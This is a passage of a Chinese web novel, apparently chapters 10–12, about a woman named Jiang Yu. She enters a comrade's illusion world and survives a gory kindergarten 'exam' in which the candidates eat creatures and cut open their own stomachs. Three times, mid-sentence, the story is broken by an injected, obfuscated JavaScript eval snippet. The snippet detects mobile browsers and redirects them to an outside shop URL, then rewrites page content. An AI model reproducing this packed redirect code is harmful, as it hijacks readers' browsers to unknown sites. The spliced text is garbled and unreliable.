哦……原来我长这样，倒是很合理，我就应该这么漂亮，这么年轻。 她长出了一口气，心里还有些小得意。然而，当她的余光看向旁边的玻璃玫瑰时，猛然愣住了。 玻璃玫瑰上，现出的面容，竟然是一个苍老的男人，脸上的皱纹沟壑纵横。 她被吓到了，向后撤了两步，视野也因此更加开阔。 但她只觉得头皮无比发麻。 一排玻璃玫瑰上，出现了无数个人，少男，少女，婴儿，老人。 她呆住，所有人跟着她一起呆住。 她捂嘴，所有人跟着她一起捂嘴。 她觉得所有空气像是在一瞬间都被抽空了，窒息感充斥整个胸膛，她不可置信地向后退去，脚步连连踉跄，几乎就要将自己绊倒时—— 她听见教堂中忽然炸起一声： “姜渔！姜小渔！你——听——得——到——吗——” 一瞬间，灵堂清明。 姜渔稳住身形，安静地伫立在教堂中，方才无措的少女此时眼中再无一丝慌乱，唯有平静。 “听到了。”她说。 原来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143709|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此。姜渔意识到了一件事。 当她进入幻境沼泽时，就会被赋予一个随机的身份，陷入迷惘。 而纪小麦的声音，便可以帮助她找回神智。 精神锚点——姜渔脑海中忽地冒出了这个词。纪小麦的声音，就是她的精神锚点，可以帮助她迷惘昏迷的精神找到属于自己的身体，并让自己在幻境沼泽获得绝对清醒的活动权利！ 姜渔正想向纪小麦同步这个消息，便看到教堂的门“砰”地一声被撞开！一群装备齐全的蒙面人端枪闯入，在所有人都没反应过来状况时开始了疯狂的扫射！ 一时间，子弹如暴雨降临在宽阔的教堂中，那些暴雨落在地上，响起的都是人们的哀嚎。 姜渔第一时间躲在棺材后。 绝不能坐以待毙！ 只是活着的话，可不是她来幻境沼泽的理由。 她侧出头看去，在枪声中，刚刚与她对过话的男孩正趴着躲在座椅下，没有了之前的从容，浑身颤抖，正向自己这边伸出手呼救：“姐……姐姐！” ……狡猾的幻体。 多次逃出幻境沼泽之后，姜渔已经免疫这种戏码了。她神色不改，正要移动目光寻找突破口时，男孩的下一个举动，竟完全出乎了她的意料—— “姐姐！危险！姐姐！” 男孩双目中充满了怒火，声嘶力竭地喊着！他抬眼怒视身边正朝着姜渔方向举枪的壮汉，猛地扑了出去！在半空中便已经张大了嘴，下一秒，狠狠咬在壮汉的小腿处！ 壮汉顿时惨叫一声，愤怒地将枪口对准了男孩的脑袋！ 该死。姜渔微微皱眉，她之前倒是没太经历过这种戏码。 不过…… 姜渔很快反应过来：这里毕竟不是她的幻境沼泽。每一个幻体，都是依照陆伯原的意识形成的。对应地，想更接近陆伯原，就必须先接近这些幻体！ 没礼貌的小鬼，至少还挺有勇气。 姜渔笑了笑，不再犹豫，手指拈起地上的一枚玻璃碎片，用力掷出，正中持枪壮汉的手腕！ 壮汉再次惨叫，移动枪口—— 姜渔已经俯身前冲，她面不改色地挥起拳头，向上勾拳，拳头带着一往无前的巨力砸向壮汉的喉结！ 一声脆响后，壮汉瘫软倒地。 弱鸡。 姜渔心里念了一句，斜眼看向还抱着壮汉小腿的男孩，一手拎起他的衣领，就要向教堂外冲去。 可就在扭头的一个呼吸之间，一股浓稠的紫色气体向二人喷射而来！ 遭了。 姜渔眉间一皱，立即屏住呼吸，但心里还是沉了下去。 这些气体，似乎只要贴近皮肤，就会奏效。 而这种气体的效果是…… 怎么又是这种感觉啊！？ 姜渔想表达一些自己的愤怒，但已经无力地倒在地上，昏迷过去。 …… 在幻境沼泽中昏迷，醒来会回到1301室吗？ 姜渔刚刚升起这个念头，便明白自己恢复了意识。 她没有第一时间睁开眼睛，而是通过细微地动作，感受着自己并没有缺胳膊少腿，也没有受到任何伤害与束缚时，才缓缓睁开双眼。 第一眼，是黑板，上面没有写什么字。 第二眼，是身边的熟悉男孩。他还是一副平淡的拽拽模样。 第三眼，她瞳孔微微一缩。 男孩身边，坐着一个清瘦的男生。 陆伯原。 10. 远国幼儿园（一） “陆伯原。”姜渔轻声念出他的名字。 陆伯原侧头，困惑地看向姜渔，“你是谁？” 声音低沉，有些嘶哑。 “姜渔。”姜渔并没有想隐藏自己的身份。 人类倾向使用过往经验中最有效的方式去解决问题，这是人类的优势与劣根性的结合。有人曾靠努力获得成功，于是一生努力。便有人曾靠说谎逃避职责，于是惯于说谎。独行者常年独行，施暴者总是施暴。向来如此，直到他们领悟下一个经验。 姜渔辗转幻境与现实之间多次，她的经验就是：清醒往往发生在一瞬间，那就是当自己领悟现实究竟是什么样子的时候。 于是她说：“我在云市被丁素营救，在车里见到了你。陆伯原，你是夜莺机动队的队员，在上一次任务中，你陷入了幻境沼泽。这里不是现实。” “我不懂你在说什么。”陆伯原听罢回头，垂下的睫毛遮住眸光。很防备的样子呢，姜渔心想。 下一秒，陆伯原竟然又开口了，“但你最好理智一点。在这里，脑袋不清醒是活不下去的。” 好的，看来陆伯原的心地至少不错。 姜渔曾经听过一个说法，幻境沼泽是支配者对他们这些人类灵魂的戏弄和惩罚，因为不光时间、空间有可能扭曲，灵魂也有可能会被掉包。她看着身旁清瘦的少年，并不能摸透他到底是不是原主。 就算他是，自己也无法这么轻易将他唤醒。因为人真正愿意听从的只有自己内心产生的想法或者误以为是自己内心产生的想法。姜渔早年间看过一部老掉牙的电影，男主是一个造梦师，靠造梦窃取别人的思想，或植入思想。当男主想给富二代男配植入一个念头，他就得吭哧吭哧带着团队辛苦地深入到富二代最深层次的梦境里，直说是行不通的，得陪着富二代演戏，让富二代自己领悟他需要放弃家族企业的念头。 可姜渔不是造梦师，她只是这个幻境中的客体。她刚刚试了一下，在这个幻境沼泽中，她的自由度并没有特别高，像扭曲时空，有超能力等等都是不存在的，她只能像在真实世界里那样正常活动，看来陆伯原这个人的想象力还真是匮乏。这点倒跟她自己有点像。 所以，她只能等陆伯原自己发现真相了？可从丁素他们收队到云市，应该时间并不短，要是陆伯原有能力破局，应该早就醒过来了。 姜渔最不擅长的就是坐以待毙。于是她再一次厚脸皮地开口：“这里是哪儿？” 陆伯原低着头，没有回答。 姜渔也不恼，这是她第一次进入别人的幻境沼泽，多获取信息总没错。 反而隔在两人中间的男孩有些纳闷地回答：“你以前没有上过幼儿园吗？” 男孩的话提醒了姜渔，她从进来这个场景后就觉得有些不对劲。 因为，太幼稚了…… 这是一间彩色的教室，墙壁被刷成浅蓝色，上面画着太阳、月亮和星星，除了这些罔顾天文学知识的画，天花板洁白，白炽灯处于关闭状态，两顶风扇正在无声地旋转。阳光从三面田字格窗户倾泻进来，洒在所有人的身上。 三面实墙都挂着木框装裱的彩色简笔画，每幅画都有落款，姜渔仔细地看着画的内容，不觉起了一层鸡皮疙瘩，那些画的笔触都很稚嫩，画得内容却透露着诡异和血腥：一只直立着的熊，正在撕扯着一个小女孩，小女孩的眼睛被蒙上了，姜渔似乎能感知到那个女孩的痛苦和绝望。 嗯，看来在幻境沼泽中，姜渔对情绪的感知似乎变强了，有可能是受陆伯原意识的影响，看来他很大概率是一个敏感的人。 姜渔继续浏览了接下来的几幅画，其中一幅引起了姜渔的注意，一个头戴荆冠的男人抱着一个6岁大小的女孩，他站在中间拿着火把，照亮了女孩的面容，她像在哭又像在笑，而男人的周围围着一群孩子，目光怨毒地看着男人怀里那个女孩…… 怎么这么让人不舒服，这个陆伯原内心不会是什么变态杀人魔吧。姜渔一边腹诽，一边暗自在心中记下几幅画的大概信息。 刚刚小男孩说这里是幼儿园，姜渔看着自己眼前的桌椅，确实是幼儿用的，她168的身高需要蜷缩着才能坐在座位上。而周围的人，竟然都是成年人居多，年纪最大不会超过25岁。男女比例适中，所有人都坐在空间有些局促的小凳子上，其中年纪最小的自然是身边的男孩。 每个人都穿着浅蓝色打底白色线条描边的校服。姜渔低头看了一眼，自己也不例外。 为什么会忽然来到这样一个地方？ 换言之，这个地方在陆伯原的心里代表了什么？ 吱呀一声，教室的门忽然开了。 首先走进来的是一名身材高挑的女生，黑色长直发，齐刘海，瓜子脸，眼神冷漠。她第一眼看到了姜渔，多留意了两眼，但并没有说什么，而是沉默着站到了黑板侧方。 她身后跟着一个西装革履的男人，身形高大，只是，他没有五官。 虽然已经做好准备，清醒地进入幻境后会遇到各种各样令人不适的画面，可一个没有五官却能正常行走的男人，还是有些冲击到姜渔了。但她观察身边的所有人，包括那个小男孩，没一个人对此表示疑惑。 男人手中拎着一个渗血的蛇皮袋子，那个袋子中不知装了什么，频繁地蠕动着。 最后进来的是一个戴眼镜的中年男人，他穿着玩偶服，脸上挂着干瘪的笑容，头上的头发不剩几根，被他精心地排兵布阵在头顶，显得很滑稽。 “孩子们，今天都乖不乖呀！”男人的声音粗粝难听，但又强装元气，听起来更加刺耳，似乎他面对坐着的真的都是些学龄前儿童。 所幸在座的各位并没有表现出任何天真无邪的儿童模样，不然姜渔肯定装不下去了。 “孩子们，又到了远国幼儿园的纳新季了。同学们谁想要王老师手中的小红花啊。”中年人笑容不变，手中多了一卷小红花的贴纸。 教室一片寂静，无人应答。 王老师却像是上了发条的木偶，继续表演着，“好哒！既然小朋友们都想要，那我们开始新生入园考试吧！园长吩咐了，大家想要顺利入园，就需要通过考试，获得小红花，每个人需要获得三朵，幼儿园会从不同方面来考验大家的品质。” 挂在黑板上方的两侧，一个机械的女生广播声音伴随着电流声响起：远国幼儿园新生入园考试，第一门，考试时间：30分钟；考试内容：乖乖吃饭；考试奖励：小红花一朵。 此时，每个人桌子上都多出一个金属盘子，上面放着白色的手套和刀叉。不像餐具，更像是手术工具。对于这种凭空补设定的情况，姜渔已经见怪不怪了。就是不知道陆伯原醒来发现他是被这种莫名其妙的幻境沼泽困了这么久，他会不会觉得丢人。 乖乖吃饭？姜渔看着自己桌前摆放着的金属盘子， “接下来给大家发放试卷，小朋友们都坐好，不要互相交流哦！”姜渔眼尖地发现， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143710|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 穿着玩偶服的王老师和站在台上的冷冽少女手上都有武器。这间幼儿园可太核理了。 一直默默站在一旁的无脸男突然有了动作，他拎着蠕动的蛇皮袋子，开始依次发放“试卷”。 好吧，看来这个男人并不是什么重要角色，陆伯原竟然都懒得给它想一张脸，还真是爱惜自己的脑细胞。 姜渔伸长了脖子，才看到男人把一只活着的被切断了四肢的生物扔到每个人面前的盘子上。 啪！啪！啪，一声接一声，那恶心东西被甩进盘子里。 教室中的人们开始捂住鼻子，叫苦连连。 看来这个东西很臭，姜渔闻不到味道，只是远远看着，就知道杀伤力很强。 很快，无脸男就发到了姜渔和陆伯原这里。他们也是最后一桌。 无脸男的手上全都是黑色的血和不可名状的粘液。他将手伸进袋子里，袋子中的生物更加激烈地反抗起来。 一只给小男孩，一只给陆伯原。 袋子里的蠕动停止了。 姜渔意识到，那里面已经没有“试卷”了。 无脸男就像卡bug一样，手一直在袋子里掏着。他用那副没有五官的面孔看着剩下的三人，姜渔很明显地感知到了无脸男疑惑的表情。 教室中，所有人都向这个方向看来，当然也包括拿着枪的少女和王老师。 该不会，是发现了我是多出来的那个了吧……姜渔心跳停了一拍。 姜渔心里有些发毛，但是此时按兵不动才是最好的办法，她目不转睛地盯着离自己最近的无脸男，生怕他识别出自己是入侵者，掏出一把枪把自己解决了。 还是陆伯原和小男孩同时开口：“我们三个用两只就行。” 无脸男迟疑了一下，看向站在讲台上的少女，少女挥了下手，无脸男便从后面消失不见了。 姜渔松了口气，同时她看向了刚刚给自己解围的陆伯原，心中燃起了希望。他能够影响幻境沼泽的局面，很有可能就是这个幻境沼泽的主体了。 三人凑在一起研究面前两只诡异的生物。它明显是曾拥有过四肢的，皮肤粗糙却泛着油光，虽然是泥浆的颜色，但有两只大大的眼睛，甚至长得类似睫毛的东西。 “像被炖熟了的羊眼睛”姜渔心里冒出这样一句话，随即被自己恶心到了，像是两类毫不相干的生物嫁接在一起的，嫁接物种这件事对人伦理观本身就具有不小的冲击，更何况姜渔不喜欢羊。但是细细观察，它没有腮也没有嘴和鼻，只有一种可能，它靠皮肤呼吸。 “它应该是某种沼泽类生物。”姜渔若有所思地说。 听见了姜渔的声音，坐在左前方的一个十七八岁的男生回过头，饶有兴趣地看了一眼，“是沼鹄，四肢弹跳力很强，当它被感受到疼痛，就会发出婴儿的啼哭声，以此来规避被人类猎杀的命运，”他说着，用刀戳了戳自己盘上的沼鹄，果然，它哇哇地叫起来。 姜渔起了一身鸡皮疙瘩。她忍不住多看了这个男生的背影两眼，听起来他不像是在胡说八道，难道是属于万事通那种人设？只是……姜渔不能贸然相信幻境中的任何人。 此时，教室另一端一声尖叫打断了姜渔的思考。 “这什么恶心东西！我退出！” 姜渔转头看去，一个青少年男孩，头发染成金黄色，一副不良少年的模样，他嫌弃地下巴后缩，面对沼鹄浑身都是抗拒，“放我回去，我不管你们这里是什么狗屁……” 11. 远国幼儿园（二） 讲台上的王老师抬起手示意—— 砰！ 青少年的头上出现了一个血洞，他的眼神还定格在说话时的不屑，身子却穿过脑后迸发出的血雾倒了下去。 姜渔再次回头，少女已经收回了一支黄铜左轮手枪，别在腰间。 王老师用尖细的嗓音宣布：“退出考试的人，会由我身边这位许江竹同学送别。大家应该懂送别的意思了！还需要老师再额外示范给大家看嘛！” 等人死了才解释。 教室乱作一团，呐喊与呼救声混作一团。姜渔稳坐小凳，暗暗腹诽。 “我受不了了！”有人哭喊着向门外跑，却在下一秒被枪声终止了声音。 教室内越来越安静。 与此同时，姜渔却注意到教室中，除了陆伯原，还有两个人，与他人有所不同。 一个是刚刚那个搭话的“万事通”，另一个是和姜渔相隔几个座位的极其瘦削的男生，脸上的肉都凹了进去，死鱼眼，黑眼圈，一副快要挂掉了的药罐子模样。 枪响时，两个人都没有向后去看中枪的死者，而是兀自注视前方。 姜渔现在反应过来。 这两个人注视的是许江竹手里的枪。 危险来自哪里，自然就要盯住哪里。 相比第一次进入他人幻境、希望通过观察得到更多信息的姜渔，他们作为一个不知现实世界为何物的幻体，显然更注重自己的生命安全。 姜渔的兴趣被勾了起来。 此时，王老师视若无睹地从尸体上踩了过去，巡视起众多同学。 “没问题的话，大家开始考试吧。规则我已经说过了，30分钟内吃完分发到你们面前的食物。作为监考老师，考试时间结束时，如果让我看到谁没有吃完，就会由许江竹同学送别。”王老师瞥了姜渔与男孩一眼，“你俩运气好，共用一份，所以更要吃得格外干净喔。” “知道了，老师。我们很乖乖的。”姜渔按着男孩的头发让他点了点头。 男孩没好气地推掉了姜渔的手。 王老师满意地点点头，黑板旁的音响传出了小提琴欢快的旋律，王老师的脸上浮现出了陶醉的神情。 考试开始了。 这应当是高档餐厅的环境音，教室中的人面面相觑，优雅的音乐改变不了现状，他们或多或少都意识到了，自己唯一能做的事，就是吃掉面前这个恶心的生物。 姜渔自然更好奇陆伯原的反应，说：“你打算怎么办？” 陆伯原没有说话，只是安静地看着站在黑板下的许江竹。 “一见钟情？”姜渔对陆伯原的反应感到有些无聊，“还是欠你钱了？” 陆伯原仍没有任何反应。 唉。姜渔叹了口气，一把搂过旁边的男孩，笑说：“之前我在葬礼上救了你，才来到这个地方，帮姐姐吃两口不介意吧？” “姐姐，你笑得好可怕。”男孩老老实实的，“但是我不介意多吃两口的，只不过我嘴比较小，吃得也会比较少。” 狡猾的幻体。姜渔再次冒出这个想法，一边说着“小孩儿鬼精鬼精的可真好”，一边报复似地狠狠抓乱男孩的头发。 随后，姜渔拿起叉子，递到男孩面前，有意调侃地说：“那你先吃吧。” 男孩顿时别过头怒视姜渔：“有没有搞错？我刚刚可是给了你考试的资格！你先吃！” 虽然刚刚那句话是他们两个人异口同声说的，但姜渔知道显然是陆伯原作为幻境主体的话起了效果。 于是姜渔笑眯眯地，不说话，与男孩陷入对峙。 这时，一双苍白的手按下了叉子。 陆伯原看向拌嘴的二人，语气淡然：“你们两个先不要吃。” 果然挺好心的，怪不得能加入夜莺机动队。 姜渔自然不会真拿小孩当挡箭牌，只是有意调笑，打发时间罢了。现在看到陆伯原有了反应，肯定不肯轻易放过，遂追问：“怎么？你想到办法了？难不成你认为这东西放一放会更好吃？” 陆伯原露出无奈的神情：“总之先不要吃。” “你有办法，却只告诉我们两个人。是觉得我们有什么不同吗？”姜渔不屈不挠，“那种感觉就像发现这个梦里怎么出现了一个从没见过的人一样。” “你想吃就请便吧。”陆伯原冷脸留下最后一句话，“别祸害小孩。” 看来这厮又要进入深沉状态了。还需要找些别的能刺激到他的话题才行。 姜渔琢磨着，忽然听到身后已经响起了狼吞虎咽的声音。 姜渔转过身，只见右后方有一个胖胖的男生，紧闭双眼，两只肉手捧着沼鹄往自己嘴里塞，咕咚，咕咚，吧唧，吧唧，他甚至没怎么咀嚼，就吞了下去，手掌大的沼鹄将他的脖子挤出了一个大大的球形肿瘤，甚至还在跃动。 “我……吃……完……了！”小胖从嗓子眼艰难地挤出这句话。 “不错！通过考试！真是好孩子！”王老师惊喜地一拍手，立即递出小红花，“给你！” 小胖万分欣喜地伸出手。 而下一秒，小胖的喉咙处爆开了。 红的黑的白的东西，流了满地，姜渔离得很近，她挡住脸，从指缝处看见了小胖的气管处，好像被打了个结。 手指粗细，肉色。 姜渔皱了皱眉，从小胖吞下沼鹄到刚刚，不到三分钟。看来这个东西吃不得。 至少现在吃不得。 她把玩着盘子里的手术刀，暗自揣测。 也不知道到什么时候，才会有人注意到这场考试的蹊跷？ 他注意到了吗？姜渔看着十分没礼貌地盯着许江竹的陆伯原，心想，他想的和我一样吗？ 吃下这种东西，下场就会和小胖一样。 而除了食物，蹊跷的地方还在于眼前这一堆更像手术工具的餐具…… 眼下，同学们都被小胖的下场震惊到了，开始有人将手指伸向自己喉咙深处，发出一阵阵干呕。一通忙活下来，搞得自己脸色惨白，却什么也没有吐出来。 巡视中的王老师观察到了进度陷入停滞，开始卖力地吆喝，“吃啊！怎么不吃！那我倒计时10个数，不吃的小朋友就会被送别哦！” “10,9,8……” 吃了，会死。不吃，同样会死。该怎么办？ 短暂的沉默后，有一个光头男开始怒吼了。 “吃啊！你们吃啊！” “可是你怎么不吃？” “快吃吧不吃会死的！” “王八蛋！我让你们吃！” 最先怒吼的光头男向姜渔这边冲过来，他一把薅住姜渔身边的男生，另一只手抓起对方身前的沼鹄，一下子塞进了对方的嘴里！ “咕……咕……咕……”男生吃力地咽下去，双眼露出了恐慌的目光。 虽然很可怜。 所幸，王老师的倒数停止了。 “我知道了！只要让你们都吃掉……只有我活下来，我就有资格了！”光头男眼底闪过一丝疯狂，目光盯上了最近的姜渔，下一秒就扑了过来！ 姜渔霎时踢出一脚。 光头男带着鼻血与掉落的牙齿就飞了出去，躺在地上不省人事。 在这里，除了陆伯原之外，全部都是幻体，自然是死得越多越好。姜渔虽然有能力阻止刚才的惨剧，但她的善心可没那么泛滥。 “别来惹我。”说完，姜渔又搂过了男孩，微笑着补充道，“我们。” 这个小屁孩还是挺有意思的。 “姐姐，你笑起来真好看。”男孩及时提出了赞扬。 果然，嘴也很甜。 一时间，果然没有人再来打量姜渔这边。 扑通！ 教室内的沉默并没有持续多久，再次有人的肚皮忽然爆开！惊恐倒地。 扑通，扑通…… 陆陆续续的，刚才吃过一些肉，却没有全部吃下去的学生，开始在绝望的哭喊中死去。教室里只剩下为数不多的，从没有吃过沼鹄的学生惊恐得不知如何是好。 时间还剩下最后十分钟。 陆伯原仍然没有任何动作。 姜渔看了一眼刚才引起她注意的两人，万事通一脸悠然，竟然正在看着陆伯原的背影不知道在琢磨什么，而另一边的药罐子…… 药罐子一手拿起手术刀，一手抓向沼鹄，幽幽地叹了口气。 “唉……时间不够了啊。” 药罐子愁眉苦脸地，将沼鹄分成几大块，张大嘴吞了下去。 万事通也好奇地看向药罐子。 “老师？”药罐子看向王老师。 “不错！通过！你也是好孩子！”王老师再次拍手，递出了小红花。 “谢谢，唉……” 药罐子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14143711|150214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接过小红花，他耷拉着脸，将校服掀起，然后一只手摸了摸肚皮，另一只手戴上手套，将手术刀擦拭干净……紧接着利落地将腹部划开！ 他的动作并没有结束，而是向着蠕动的胃，再一次下刀！ 众目睽睽下，药罐子丧着脸将刚刚吃下去的沼鹄一块块拿了出来，最后仰靠在凳子上，气若悬丝地说：“老师，咱有医务室吗？” “当然有，但现在是考试时间。”王老师心疼地说，“你忍忍啊……” “又要忍啊……”药罐子再次叹了口气。 姜渔收敛了脸上的惊讶。 她注意到了，药罐子虽然从始至终愁眉苦脸的样子，却没喊过一句疼，他的手一直很稳，也一直很快！ 此时，时间还剩下2分钟！ 当看见药罐子的举动后，所有剩下的人都明白过来，破题的方法，早早就摆在了他们的眼前！ 吃下去，会死。不吃，也会死。 这次的考试，便是置之死地而后生！ 想明白这一点，学生们纷纷有样学样，开始将沼鹄切块，吞下，颤抖地拿起手术刀……刺下！ 但他们显然低估了这门技术的门槛，大多数人哀嚎着，不是因为疼痛中途收手，就是用力过大索性给了自己一个痛快…… 姜渔看着眼前的景象不禁愣住了。 被凌迟的沼鹄发出此起彼伏的婴儿啼哭声和学生们的尖叫声，掺杂在优雅的小提琴旋律中，竟然迸发出一股诡异的生命力。 不知为何，姜渔想到了产房，那是象征新生和希望的地方，她自己都觉得这个想法太荒谬，因为这里只能最残酷的炼狱。 她看向陆伯原，陆伯原没动静。 她看向小男孩，小男孩拿着小手比量着她胃部到底在哪个位置。 她给了小男孩脑门一记拳头。此时，时间已经所剩无几，王老师正怡然自得地从她这一排走过—— 而就在这个瞬间，姜渔旁边的陆伯原终于动了！ 他拿起了手术刀，以一种极其刁钻地角度刺向了王老师的喉咙！ 他出手快而果决，可王老师似乎早就料到一样，一只手死死攥住陆伯原手中的刀，另一只手则掐住了对方的脖子！ “这可不是乖……” 王老师狞笑着，话却说不出来了。 姜渔持着刀，割断了他的喉管，从他的身后现形。 铃声大作，考试结束。 许江竹并没有开枪射杀从未吃下沼鹄的姜渔等人。 果然如此。姜渔不禁再次回忆起最初王老师口中的规则：“作为监考老师，考试时间结束时，如果让我看到谁没有吃完，就会由许江竹同学送别。” 如果，不让他看到呢。 死了就看不到了。 这像用手术刀剖腹一样简单的道理，只不过既没人敢自寻死路，也没敢忤逆随意杀害学生姓名的恶魔。 吃与不吃，都必须付出置之死地而后生的勇气！ 陆伯原从王老师的手中挣脱，喘着粗气，抬眼看向姜渔：“你早决定这么做了？” 姜渔微笑：“是。” 陆伯原问：“为什么不跟我说？” “和你一样。”姜渔笑容不改：“相信靠我一个人就够了。” “那你们跟我说说呢……”药罐子听到了两人的对话，发出了低声的控诉，随即被全程只看着陆伯原的万事通扶起，交到赶进来的医护人员手中。 而无脸男也再次回到教室中，为留下的人颁发小红花。 “那么，恭喜通过考试的各位新同学们，新生入园考试就正式开始了，大家请自便。” 许江竹说完这句话，便向门外走去。 然而，就在这个瞬间，姜渔听到耳边传来了板凳摔在地上的声音，不等姜渔转头，陆伯原已经从她身前冲了过去。 安静的教室里，陆伯原的手紧紧攥住了许江竹的手腕。 许江竹有些诧异，看向陆伯原。 陆伯原表情坚定，一字一句地说：“我会带你走的。” “你很有勇气。”许江竹收起了诧异，语气温柔，“如果你活下来，或许我有兴趣看看你要带我去哪里。但现在，放开你的脏手，小杂种。” 看着许江竹离去的背影，姜渔稳坐小板凳，面色镇静，实则心里吃瓜吃得兴起—— 陆伯原的精神锚点，会是她吗？ 12. 远国幼儿园（三） 许江竹还未走远，一道声音响起：“坐回去吧，孩子。” 许江竹听到这个声音，停下了脚步，她面色恭敬，侧身而立，微微躬身。 陆伯原一顿，他仿佛在门外看到了什么极其恐怖的东西，身子向后撤了两步，直到回到原来的位置，将板凳摆好坐下。 顺着陆伯原深邃的目光，姜渔看到教室外走进来了一个……怪人。 身穿棕色西服的男人，年纪在60左右，黑发居多，又搀着几缕银灰，戴茶色方框眼镜。整体上有一种成功人士的气质。 但他的脸不知是原本如此，还是被幻境沼泽异化所致。他有一张狭长的嘴，双唇漆黑，分别延伸至两鬓。 所有人心中一凛。 这玩意可比左轮手枪看着渗人多了。 “孩子们，我是远国幼儿园的园长。”园长站到讲台前开始讲话，声音浑厚。 姜渔坐在第一排，看得最清楚。园长开口讲话时，露出了一排洁白整齐的牙齿。不过那两排牙齿同样延伸着长到了两鬓处，大抵有七八十颗之多。 牙口挺不错的吓人富老头。 姜渔冒出这个总结，斜了陆伯原一眼，心想这老头到底是谁，怎么在陆伯原的幻境里有这么时髦的造型。 不过，园长的整体面貌并没有经过太多“艺术”加工，以至于姜渔总觉得，对这个园长的脸有些熟悉。 这是一个关键信息，在陆伯原的幻境沼泽中出现的陌生人，能让自己产生熟悉感，那么此人大概率是一个总在媒体上抛头露面的人物。 倘若真是如此，没准能在这里获得这位“园长”的什么秘密信息，等离开这里，日后想起这位大人物是谁，用这些秘密敲诈一笔也不是没有可能…… “我很喜欢你们看向我的热烈眼神。”园长注意到了姜渔的目光，借此打开话题，咧着嘴露出慈祥笑容：“我明白，那些是尊重，崇敬，向往。而这种目光，当你们通过考试后，自然会从其他人那里获得。” 姜渔与园长对视，面露微笑。 看来因为自己是“外来者”的缘故，园长才产生了这种美妙的误会。不过姜渔没准备要看轻对方，恰恰相反，既然对方认为自己总会收获“尊重，崇敬，向往”，姜渔更做好了警惕万分的准备。 受人尊重的大人物，在陆伯原的幻境中却以这幅形象出现，可见其城府极深，在现实中隐藏得很好，因为一些自己还没有摸到头绪的原因，却被陆伯原发现了。 “现在，我们去外面吧。”园长敲敲黑板，“我会为你们讲解考试内容。” 以园长为首，众人尾随，姜渔跟在陆伯原身后，穿过明亮的长长走廊，只拐了一个弯便见到了大门，走出去的瞬间，天地都变得极为广阔。 放眼望去，一片绿荫草地，上面布置了许多彩色的设施，如滑梯跷跷板之类，上面的涂漆以眼睛元素居多，看上去极为诡异，绝谈不上什么童真。 草坪前方，是一片标准规格的塑胶操场，草坪与塑胶跑道看上去很新，只是不知道幼儿园的孩子要跑什么操。但联想到同一届的同学年纪，可以上至青年下至孩童，姜渔也无处吐槽。 很快，姜渔还是注意到一丝不寻常的味道。幼儿园用铁栅栏围起，栅栏外露出众多摩天大楼，但平视过去，只能看见大楼腰部或者顶部。仰头看去，蓝天压得极低。这是一家地理位置极高的幼儿园。 人群三三两两聚成一团，似乎在教室中就已经纷纷打过交道了。 姜渔紧挨着陆伯原，对方并不排斥，非但如此，姜渔救下的男孩跟在姜渔身边，当姜渔看向他时，小男孩立即抬手攥住姜渔的小臂，不说话，但“赖定你了”的意思传达得十分明确。三人的两米之外是万事通与药罐子的组合，同样在向这边看来。 姜渔决定见招拆招。 “这一届的考试内容，孩子们都很熟悉：捉迷藏。”园长站在所有人前方，说，“限时三个小时，不被发现，就算通过考试。这就是所有的规则了。” “孩子们，现在有什么问题，尽管提。”园长看向众人，语气温和，“你们问什么，我就回答什么。不过，有些问题很关键，要谨慎提问。” 药罐子用他独有的虚弱语气问：“谁捉我们？” “我。呵呵。”园长和蔼地笑着，“不过别担心，被我抓到的话，惩罚只是来到操场做游戏而已。” 大部分同学脸上都露出了难色。 姜渔则注意到一些重点观察对象的反应。 陆伯原只是皱着眉，目光坚定地看向许江竹。另一边，许江竹的表情难以察觉地变得难看了一点，先行离开。不远处药罐子与万事通各自陷入了沉思，左右观察着地形，竟然也走开了。至于小男孩，他听完之后快要把姜渔自己的手捏断了，显然被吓得不轻。 “我觉得我们该走了。”姜渔心里有了主意，轻声向陆伯原说。 “我们？”陆伯原看向姜渔，语气淡漠，“我有自己的事要做。” “如果你真想带那个姑娘走，最好跟我一起走。”姜渔直切要害，虽然她对陆伯原还没有头绪，但必须将陆伯原捆绑在自己身边，以便获得更多信息。 我不是真来捉迷藏的。或者，我已经找到了要找的东西。 姜渔的目光带着一种不容抗拒的气息。 陆伯原被姜渔的话说得有些迟疑：“你是谁？” “少废话了。”姜渔一看陆伯原迟疑的表情就知道已经吃定他了，一把拉过陆伯原就向室内走去，个子不高的小男孩三步并两步，小腿倒腾得飞快，生怕被落下。 几人撤离的功夫，后面的问答还在继续。 “在操场做游戏是什么意思？” “嗯……只是滑滑滑梯，玩玩跷跷板，单杠双杠，拿沙子堆城堡这些。” “如果被您发现，可以逃走吗？” “可以的。” 